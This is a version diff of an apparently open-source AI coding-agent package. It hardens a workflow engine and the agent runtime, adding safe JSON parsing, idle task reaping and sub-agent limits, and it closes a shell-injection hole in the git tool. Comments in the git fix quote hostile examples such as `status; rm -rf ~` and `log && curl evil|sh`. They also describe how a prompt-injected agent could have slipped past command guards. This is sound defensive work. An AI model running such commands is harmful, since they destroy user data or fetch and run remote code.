chainlesschain 0.162.123 → 0.162.124

package/src/lib/workflow-engine.js

@@ -37,6 +37,22 @@ export const TEMPLATE_TYPE = Object.freeze({
   TEST_SUITE: "test_suite",
 });
 
+/**
+ * Parse a JSON column from a DB row without throwing. A truncated write, a
+ * manual edit, or a schema-drift row would otherwise make `JSON.parse` throw and
+ * crash the whole operation — and for list/map callers, ONE corrupt row would
+ * hide every other workflow. On bad/missing JSON we return `fallback` so a
+ * single bad row degrades to an empty/null value instead of poisoning the call.
+ */
+export function _safeParse(json, fallback) {
+  if (json == null) return fallback;
+  try {
+    return JSON.parse(json);
+  } catch {
+    return fallback;
+  }
+}
+
 /**
  * Ensure workflow tables exist in the database.
  */
@@ -183,7 +199,7 @@ export function getWorkflow(db, workflowId) {
     .prepare("SELECT * FROM workflows WHERE id = ?")
     .get(workflowId);
   if (!row) return null;
-  return { ...row, dag: JSON.parse(row.dag) };
+  return { ...row, dag: _safeParse(row.dag, null) };
 }
 
 /**
@@ -196,7 +212,7 @@ export function listWorkflows(db) {
     .all();
   return rows.map((row) => ({
     ...row,
-    dag: JSON.parse(row.dag),
+    dag: _safeParse(row.dag, null),
   }));
 }
 
@@ -222,6 +238,11 @@ export function executeWorkflow(db, workflowId, input = {}) {
   if (!workflow) {
     throw new Error(`Workflow not found: ${workflowId}`);
   }
+  if (!Array.isArray(workflow.dag) || workflow.dag.length === 0) {
+    // _safeParse yields null for a corrupt `dag` column — give a clear error
+    // instead of an opaque NPE in topologicalSort.
+    throw new Error(`Workflow ${workflowId} has a corrupt or empty DAG`);
+  }
 
   const execId = `exec-${crypto.randomBytes(8).toString("hex")}`;
   const stages = workflow.dag;
@@ -321,7 +342,7 @@ export function pauseExecution(db, executionId) {
     executionId,
   );
 
-  const log = JSON.parse(exec.log || "[]");
+  const log = _safeParse(exec.log, []);
   log.push({
     action: "paused",
     timestamp: new Date().toISOString(),
@@ -354,7 +375,7 @@ export function resumeExecution(db, executionId) {
     executionId,
   );
 
-  const log = JSON.parse(exec.log || "[]");
+  const log = _safeParse(exec.log, []);
   log.push({
     action: "resumed",
     timestamp: new Date().toISOString(),
@@ -387,7 +408,7 @@ export function rollbackExecution(db, executionId) {
     executionId,
   );
 
-  const log = JSON.parse(exec.log || "[]");
+  const log = _safeParse(exec.log, []);
   log.push({
     action: "rolled_back",
     timestamp: new Date().toISOString(),
@@ -415,7 +436,7 @@ export function getExecutionLog(db, executionId) {
     id: exec.id,
     workflowId: exec.workflow_id,
     status: exec.status,
-    log: JSON.parse(exec.log || "[]"),
+    log: _safeParse(exec.log, []),
     startedAt: exec.started_at,
     completedAt: exec.completed_at,
   };
@@ -688,7 +709,7 @@ export function createCheckpoint(db, executionId) {
     currentStage: exec.current_stage,
     capturedAt: new Date().toISOString(),
   };
-  const nodeStates = JSON.parse(exec.log || "[]");
+  const nodeStates = _safeParse(exec.log, []);
 
   db.prepare(
     `INSERT INTO workflow_checkpoints (id, execution_id, workflow_id, state_snapshot, node_states, created_at)
@@ -722,8 +743,8 @@ export function listCheckpoints(db, executionId) {
     id: row.id,
     executionId: row.execution_id,
     workflowId: row.workflow_id,
-    snapshot: JSON.parse(row.state_snapshot || "{}"),
-    nodeStates: JSON.parse(row.node_states || "[]"),
+    snapshot: _safeParse(row.state_snapshot, {}),
+    nodeStates: _safeParse(row.node_states, []),
     createdAt: row.created_at,
   }));
 }
@@ -750,8 +771,8 @@ export function rollbackToCheckpoint(db, executionId, checkpointId) {
     throw new Error(`Execution not found: ${executionId}`);
   }
 
-  const snapshot = JSON.parse(cp.state_snapshot || "{}");
-  const nodeStates = JSON.parse(cp.node_states || "[]");
+  const snapshot = _safeParse(cp.state_snapshot, {});
+  const nodeStates = _safeParse(cp.node_states, []);
 
   const restoredLog = [
     ...nodeStates,
@@ -792,6 +813,9 @@ export function setBreakpoint(db, workflowId, nodeId, condition = null) {
   if (!workflow) {
     throw new Error(`Workflow not found: ${workflowId}`);
   }
+  if (!Array.isArray(workflow.dag)) {
+    throw new Error(`Workflow ${workflowId} has a corrupt DAG`);
+  }
   const nodeExists = workflow.dag.some((s) => s.id === nodeId);
   if (!nodeExists) {
     throw new Error(`Node ${nodeId} not in workflow ${workflowId}`);

package/src/runtime/agent-core.js

@@ -16,7 +16,7 @@
 
 import fs from "fs";
 import path from "path";
-import { execSync, spawn } from "child_process";
+import { execSync, spawn, spawnSync } from "child_process";
 import os from "os";
 import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
 import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
   return killed;
 }
 
+// Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
+// idle background shell commands"). A running task is a reap candidate when it
+// has produced no output for BG_IDLE_REAP_MS AND the system is under memory
+// pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
+// idle-but-active tasks and a healthy machine are left alone, and the whole
+// behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
+const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
+const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
+
+/**
+ * Reap idle background shell tasks when the system is under memory pressure, so
+ * a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
+ * No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
+ * (now / freemem / totalmem / thresholds) are injectable for tests.
+ * @returns {string[]} ids of reaped tasks
+ */
+export function reapIdleBackgroundShellTasks(deps = {}) {
+  if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
+  const now = deps.now || Date.now;
+  const freemem = deps.freemem || os.freemem;
+  const totalmem = deps.totalmem || os.totalmem;
+  const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
+  const ratio =
+    deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
+  const total = totalmem();
+  const free = freemem();
+  if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
+  const t = now();
+  const reaped = [];
+  for (const task of _backgroundShellTasks.values()) {
+    if (task.status !== "running") continue;
+    const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
+    if (t - last < idleMs) continue; // still producing output recently
+    if (_killTask(task)) {
+      task.status = "reaped";
+      task.endedAt = new Date().toISOString();
+      task.error = "reaped: idle under memory pressure";
+      reaped.push(task.id);
+    }
+  }
+  return reaped;
+}
+
 // Foreground (synchronous) run_shell timeout. Configurable per-call via the
 // optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
 // synchronous call can never wedge the loop indefinitely (use run_in_background
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
   "edit_file_hashed",
 ]);
 
+/**
+ * Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
+ * tool runs the model-supplied command via argv (spawnSync, NO shell), so a
+ * string like `status; rm -rf ~` can't inject a second command through the
+ * shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
+ * a commit message) keeps its content because quotes are consumed here.
+ */
+export function tokenizeShellWords(input) {
+  const args = [];
+  let current = "";
+  let inDouble = false;
+  let inSingle = false;
+  let escape = false;
+  for (const ch of String(input || "")) {
+    if (escape) {
+      current += ch;
+      escape = false;
+      continue;
+    }
+    if (ch === "\\" && inDouble) {
+      escape = true;
+      continue;
+    }
+    if (ch === '"' && !inSingle) {
+      inDouble = !inDouble;
+      continue;
+    }
+    if (ch === "'" && !inDouble) {
+      inSingle = !inSingle;
+      continue;
+    }
+    if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
+      if (current.length > 0) {
+        args.push(current);
+        current = "";
+      }
+      continue;
+    }
+    current += ch;
+  }
+  if (current.length > 0) args.push(current);
+  return args;
+}
+
 /**
  * Compute the content an edit tool WOULD write, without writing it — the
  * left/right sides for an IDE diff review. Mirrors the corresponding
@@ -1156,6 +1243,7 @@ export async function executeTool(name, args, context = {}) {
       additionalDirectories: context.additionalDirectories || null,
       ruleAllowed,
       subAgentDepth: context.subAgentDepth || 0,
+      subAgentBudget: context.subAgentBudget || null,
       interactiveApproval: context.interactiveApproval || false,
     });
   } catch (err) {
@@ -1527,6 +1615,7 @@ async function executeToolInner(
     additionalDirectories,
     ruleAllowed = false,
     subAgentDepth = 0,
+    subAgentBudget = null,
     interactiveApproval = false,
   },
 ) {
@@ -1795,6 +1884,10 @@ async function executeToolInner(
       // polls output + completion via check_shell. No timeout — that's the whole
       // point of backgrounding (builds, test suites, dev servers).
       if (args.run_in_background === true) {
+        // Free memory from idle background tasks before adding another, so a
+        // long agent run can't accumulate forgotten dev servers (no-op unless
+        // the machine is actually under memory pressure).
+        reapIdleBackgroundShellTasks();
         const id = `bg_${++_backgroundTaskSeq}`;
         const task = {
           id,
@@ -1805,6 +1898,7 @@ async function executeToolInner(
           signal: null,
           error: null,
           startedAt: new Date().toISOString(),
+          lastActivityAt: Date.now(),
           endedAt: null,
           out: _newBgStream(),
           err: _newBgStream(),
@@ -1836,11 +1930,17 @@ async function executeToolInner(
           task.child = child;
           if (child.stdout) {
             child.stdout.setEncoding("utf8");
-            child.stdout.on("data", (d) => _appendBgStream(task.out, d));
+            child.stdout.on("data", (d) => {
+              task.lastActivityAt = Date.now();
+              _appendBgStream(task.out, d);
+            });
           }
           if (child.stderr) {
             child.stderr.setEncoding("utf8");
-            child.stderr.on("data", (d) => _appendBgStream(task.err, d));
+            child.stderr.on("data", (d) => {
+              task.lastActivityAt = Date.now();
+              _appendBgStream(task.err, d);
+            });
           }
           child.on("error", (err) => {
             task.status = "error";
@@ -1971,27 +2071,44 @@ async function executeToolInner(
         });
       }
 
-      try {
-        const output = execSync(`git ${normalizedCommand}`, {
-          cwd: args.cwd || cwd,
-          encoding: "utf8",
-          timeout: 60000,
-          maxBuffer: 1024 * 1024,
-        });
+      // Run via argv (spawnSync, NO shell) so shell metacharacters in the
+      // command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
+      // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
+      // the whole string through a shell, and the destructive-git/credential/
+      // run_shell guards only inspect the first token, so this was an arbitrary
+      // command-execution bypass for a prompt-injected agent. Quoted args (a
+      // commit message) keep their content via the quote-aware tokenizer.
+      const gitArgs = tokenizeShellWords(normalizedCommand);
+      const res = spawnSync("git", gitArgs, {
+        cwd: args.cwd || cwd,
+        encoding: "utf8",
+        timeout: 60000,
+        maxBuffer: 1024 * 1024,
+        windowsHide: true,
+      });
+      const readOnly = isReadOnlyGitCommand(normalizedCommand);
+      if (res.error) {
         return attachDescriptor({
-          stdout: output.substring(0, 30000),
+          error: String(res.error.message || res.error).substring(0, 2000),
           command: normalizedCommand,
-          readOnly: isReadOnlyGitCommand(normalizedCommand),
+          readOnly,
         });
-      } catch (err) {
+      }
+      if (res.status !== 0) {
+        const stderr = String(res.stderr || "").substring(0, 2000);
         return attachDescriptor({
-          error: err.message.substring(0, 2000),
-          stderr: (err.stderr || "").substring(0, 2000),
-          exitCode: err.status,
+          error: stderr || `git exited with code ${res.status}`,
+          stderr,
+          exitCode: res.status,
           command: normalizedCommand,
-          readOnly: isReadOnlyGitCommand(normalizedCommand),
+          readOnly,
         });
       }
+      return attachDescriptor({
+        stdout: String(res.stdout || "").substring(0, 30000),
+        command: normalizedCommand,
+        readOnly,
+      });
     }
 
     case "run_code": {
@@ -2041,6 +2158,7 @@ async function executeToolInner(
           sessionId,
           llmOptions,
           subAgentDepth,
+          subAgentBudget,
         }),
       );
     }
@@ -2735,6 +2853,18 @@ async function _executeRunCode(args, cwd) {
  */
 export const MAX_SUB_AGENT_DEPTH = 5;
 
+/**
+ * Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
+ * cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
+ * out many children, each with its own fresh iteration budget, so depth-cap
+ * alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
+ * counter (threaded by reference through the tool context, like subAgentDepth)
+ * gives a hard ceiling on the whole tree. Generous enough for legitimate
+ * fan-out delegation; a model that blows past it is looping. Override per run
+ * with `options.subAgentBudget`.
+ */
+export const MAX_SUB_AGENTS_PER_RUN = 32;
+
 /**
  * Per-tool-result character cap fed back to the model. One giant tool output (a
  * huge file, a verbose command, an MCP blob) must not blow the context window —
@@ -2765,6 +2895,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
   );
 }
 
+/**
+ * Serialize a tool result for the transcript without ever throwing. A plain
+ * `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
+ * `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
+ * odd tool result would crash the whole agent turn. The happy path is identical
+ * to `JSON.stringify` (returns its value verbatim, including `undefined`, which
+ * `capToolResultString` already normalizes); only a throw falls back to a
+ * circular- and BigInt-safe pass, then a last-resort string form.
+ */
+export function safeStringifyToolResult(value) {
+  try {
+    return JSON.stringify(value);
+  } catch {
+    try {
+      const seen = new WeakSet();
+      return JSON.stringify(value, (_k, v) => {
+        if (typeof v === "bigint") return v.toString();
+        if (v && typeof v === "object") {
+          if (seen.has(v)) return "[Circular]";
+          seen.add(v);
+        }
+        return v;
+      });
+    } catch {
+      try {
+        return String(value);
+      } catch {
+        return "[unserializable tool result]";
+      }
+    }
+  }
+}
+
 /**
  * Execute a spawn_sub_agent tool call.
  * Creates an isolated SubAgentContext, runs it, and returns only the summary.
@@ -2781,6 +2944,22 @@ async function _executeSpawnSubAgent(args, ctx) {
       error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
     };
   }
+  // Breadth cap: a shared counter (one object for the whole tree) bounds the
+  // TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
+  // within the depth limit. Refuse + count BEFORE any work so the increment
+  // can't be skipped by a later error.
+  const subAgentBudget = ctx.subAgentBudget || null;
+  if (subAgentBudget) {
+    const max = Number.isFinite(subAgentBudget.max)
+      ? subAgentBudget.max
+      : MAX_SUB_AGENTS_PER_RUN;
+    if ((subAgentBudget.spawned || 0) >= max) {
+      return {
+        error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
+      };
+    }
+    subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
+  }
   let {
     role,
     task,
@@ -2883,6 +3062,9 @@ async function _executeSpawnSubAgent(args, ctx) {
     profile: profile || null,
     llmOptions: subLlmOptions,
     depth: currentDepth + 1, // nested spawns see their own level
+    // Same shared counter object so the child's own spawns draw from the run's
+    // single total-sub-agent pool (breadth cap spans the whole tree).
+    subAgentBudget: ctx.subAgentBudget || null,
   });
 
   const emit = (type, payload) => {
@@ -2900,15 +3082,26 @@ async function _executeSpawnSubAgent(args, ctx) {
     }
   };
 
+  // Resolve the registry ONCE before the try so the failure path can also move
+  // the sub-agent out of `_active` (the success path does this via complete()).
+  const { SubAgentRegistry } =
+    await import("../lib/sub-agent-registry.js").catch(() => ({
+      SubAgentRegistry: null,
+    }));
+  let registry = null;
+  if (SubAgentRegistry) {
+    try {
+      registry = SubAgentRegistry.getInstance();
+    } catch (_err) {
+      registry = null; // registry unavailable — non-critical
+    }
+  }
+
   try {
     // Notify registry if available
-    const { SubAgentRegistry } =
-      await import("../lib/sub-agent-registry.js").catch(() => ({
-        SubAgentRegistry: null,
-      }));
-    if (SubAgentRegistry) {
+    if (registry) {
       try {
-        SubAgentRegistry.getInstance().register(subCtx);
+        registry.register(subCtx);
       } catch (_err) {
         // Registry not available — non-critical
       }
@@ -2924,9 +3117,9 @@ async function _executeSpawnSubAgent(args, ctx) {
     const result = await subCtx.run(task);
 
     // Complete in registry
-    if (SubAgentRegistry) {
+    if (registry) {
       try {
-        SubAgentRegistry.getInstance().complete(subCtx.id, result);
+        registry.complete(subCtx.id, result);
       } catch (_err) {
         // Non-critical
       }
@@ -2955,6 +3148,18 @@ async function _executeSpawnSubAgent(args, ctx) {
   } catch (err) {
     subCtx.forceComplete(err.message);
 
+    // Move the failed sub-agent out of the registry's `_active` Map into bounded
+    // history (mirrors the success path). Without this, a sub-agent whose run()
+    // threw outside its own try (setup/summarize error) lingers in `_active`
+    // forever and over-reports as "active" to monitors/UI.
+    if (registry) {
+      try {
+        registry.complete(subCtx.id, subCtx.result);
+      } catch (_err) {
+        // Non-critical
+      }
+    }
+
     emit("sub-agent.failed", {
       status: subCtx.status,
       error: err.message,
@@ -4175,6 +4380,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
   "search_sessions",
 ]);
 
+// Rolling cap on auto-checkpoints per agent session — the engine prunes the
+// oldest beyond this so a long run can't accumulate unbounded refs.
+const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
+
 let _checkpointStoreP = null;
 function _loadCheckpointStore() {
   if (!_checkpointStoreP) {
@@ -4205,6 +4414,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
         120,
       ),
       skipIfUnchanged: true,
+      // Bound auto-checkpoint history: a rolling safety net of the last N
+      // mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
+      // a long agentic run (rewinding 100+ tool calls back is already extreme).
+      maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
     });
     return res?.id || null;
   } catch {
@@ -4302,6 +4515,13 @@ export async function* agentLoop(messages, options) {
     // Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
     // MAX_SUB_AGENT_DEPTH using this.
     subAgentDepth: options.subAgentDepth || 0,
+    // Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
+    // instance (passed by reference) so every nested level draws from one pool;
+    // the main loop seeds it. Bounds breadth, complementing the depth cap.
+    subAgentBudget: options.subAgentBudget || {
+      spawned: 0,
+      max: MAX_SUB_AGENTS_PER_RUN,
+    },
   };
 
   throwIfAborted(signal);
@@ -4739,7 +4959,9 @@ export async function* agentLoop(messages, options) {
       // Cap an individual tool result so one giant output can't blow the
       // context — but tell the model when we cut it (no more silent
       // mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
-      const resultStr = capToolResultString(JSON.stringify(toolResult));
+      const resultStr = capToolResultString(
+        safeStringifyToolResult(toolResult),
+      );
       const toolContent = warningMsg
         ? `${resultStr}\n\n${warningMsg}`
         : resultStr;